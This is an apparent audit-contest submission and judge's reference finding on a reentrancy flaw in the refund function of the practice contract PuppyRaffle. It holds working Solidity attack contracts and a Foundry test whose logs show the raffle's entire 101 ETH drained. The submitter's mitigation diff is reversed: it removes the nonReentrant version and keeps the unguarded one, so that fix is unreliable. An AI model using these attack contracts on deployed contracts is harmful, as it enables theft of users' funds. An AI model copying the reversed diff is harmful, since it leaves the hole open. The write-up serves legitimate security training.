Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

post-update after an external calls allows reentrancy attack

yum_cutty

Root + Impact

Description

PuppyRaffle::refund allows user to withdraw from the participated raffle events

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@>>> payable(msg.sender).sendValue(entranceFee);
​
@>>> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

this function involves making an external calls to refund the entrance fee back to the user.

However i notice that the variable players mapping only gets updated right after the external calls, allowing an attacker who joined the raffle event conduct a reentrancy attack on this protocol via refund function, potentially drain all the funds this protocol has received.

Risk

Likelihood: High

  • As long as the protocol has native ETH, attacker can conduct a reentrancy attack at anytime they want

Impact: High

  • A successful reentrancy attack will result the protocol's fund gets stolen

Attack Path:

Step #1:

attacker wait patiently to allow other people to join the raffle events. the more participant it has, the more funds the attacker can steal

Step #2:

when there are plenty of participants in the event, attacker may deploy his weapon (Reentrancy contract) and have it join the event as well to start launching his reentrancy attack.

Step #3:

when refund() function is called by the Reentrancy contract, it first validates whether Reentrancy contract has joined the event, then directly make an external calls back to the caller without making any updates beforehand.

when the .call() is executed in the refund() function, it will send ETH to the Reentrancy contract and reach to the Reentrancy::receive() function, this function is then callback to the refund() function, validates and make external calls to the receive() function and callback to refund() function again, again and again, until the protocol's funds has drained entirely, only then the try/catch stops the iteration, refund continues its further execution to update the state.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleTest is Test {
​
PuppyRaffle puppyRaffle;
​
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
deal(address(this), 1000000000 ether);
}
​
function test_reentrancy_attack_on_refund() public {
// prepare participants
address[] memory participants = new address[](100);
for (uint256 i = 0; i < 100; i++) {
participants[i] = address(uint160(i + 1));
}
​
// participants enter raffle
puppyRaffle.enterRaffle{value: entranceFee * participants.length}(participants);
​
// prepares the reentrant attack
Reentrancy reentrancy = new Reentrancy(address(puppyRaffle));
address[] memory reentrantParticipants = new address[](1);
reentrantParticipants[0] = address(reentrancy);
​
// attacker (the reentrant contract) participant enters raffle
puppyRaffle.enterRaffle{value: entranceFee * reentrantParticipants.length}(reentrantParticipants);
​
// we log the balance before the attack
uint RaffleBalanceBefore = address(puppyRaffle).balance;
uint AttackerBalanceBefore = address(reentrancy).balance;
​
// launch the attack
reentrancy.attack(
puppyRaffle.getActivePlayerIndex(address(reentrancy))
);
​
// we log the balance after the attack
uint RaffleBalanceAfter = address(puppyRaffle).balance;
uint AttackerBalanceAfter = address(reentrancy).balance;
​
console.log("Raffle Balance Before Attack:", RaffleBalanceBefore / 1e18, "ETH");
console.log("Raffle Balance After Attack:", RaffleBalanceAfter / 1e18, "ETH");
console.log("Attacker Balance Before Attack:", AttackerBalanceBefore / 1e18, "ETH");
console.log("Attacker Balance After Attack:", AttackerBalanceAfter / 1e18, "ETH");
}
​
}
​
contract Reentrancy {
PuppyRaffle puppyRaffle;
uint256 index;
​
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
​
function attack(uint256 _index) public {
index = _index;
// 1. initial calls here ...
puppyRaffle.refund(_index);
}
​
receive() external payable {
// 2. when start executing .call() and send ETH, execution goes to here ...
try puppyRaffle.refund(index) {}
// 3. since the state never gets updated before making an external calls, this will successfully
// reenters back to the refund() function, execute .call() and send ETH again, execution goes to here again n again ...
catch {}
// 4. keep reenters until the protocol funds has been drained, only then the state will gets updated
// 5. to avoid infinite loop, we use try/catch to break the reentrancy when there is no more funds to drain
}
}

create a new test file, paste the above PoC into the newly created test file, and run it.

below is the result of the exploitation:

Logs:
Raffle Balance Before Attack: 101 ETH
Raffle Balance After Attack: 0 ETH
Attacker Balance Before Attack: 0 ETH
Attacker Balance After Attack: 101 ETH

the PoC has successfully demonstrate how an attacker could launch a reentrancy attack to the protocol, resulting fund drainage of the entire 101 ETH.

Recommended Mitigation

consider adding nonReentrant modifier to prevent reenters execution

import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Base64} from "lib/base64/base64.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
​
-contract PuppyRaffle is ERC721, Ownable {
+contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
​
+ function refund(uint256 playerIndex) public {
- function refund(uint256 playerIndex) public nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!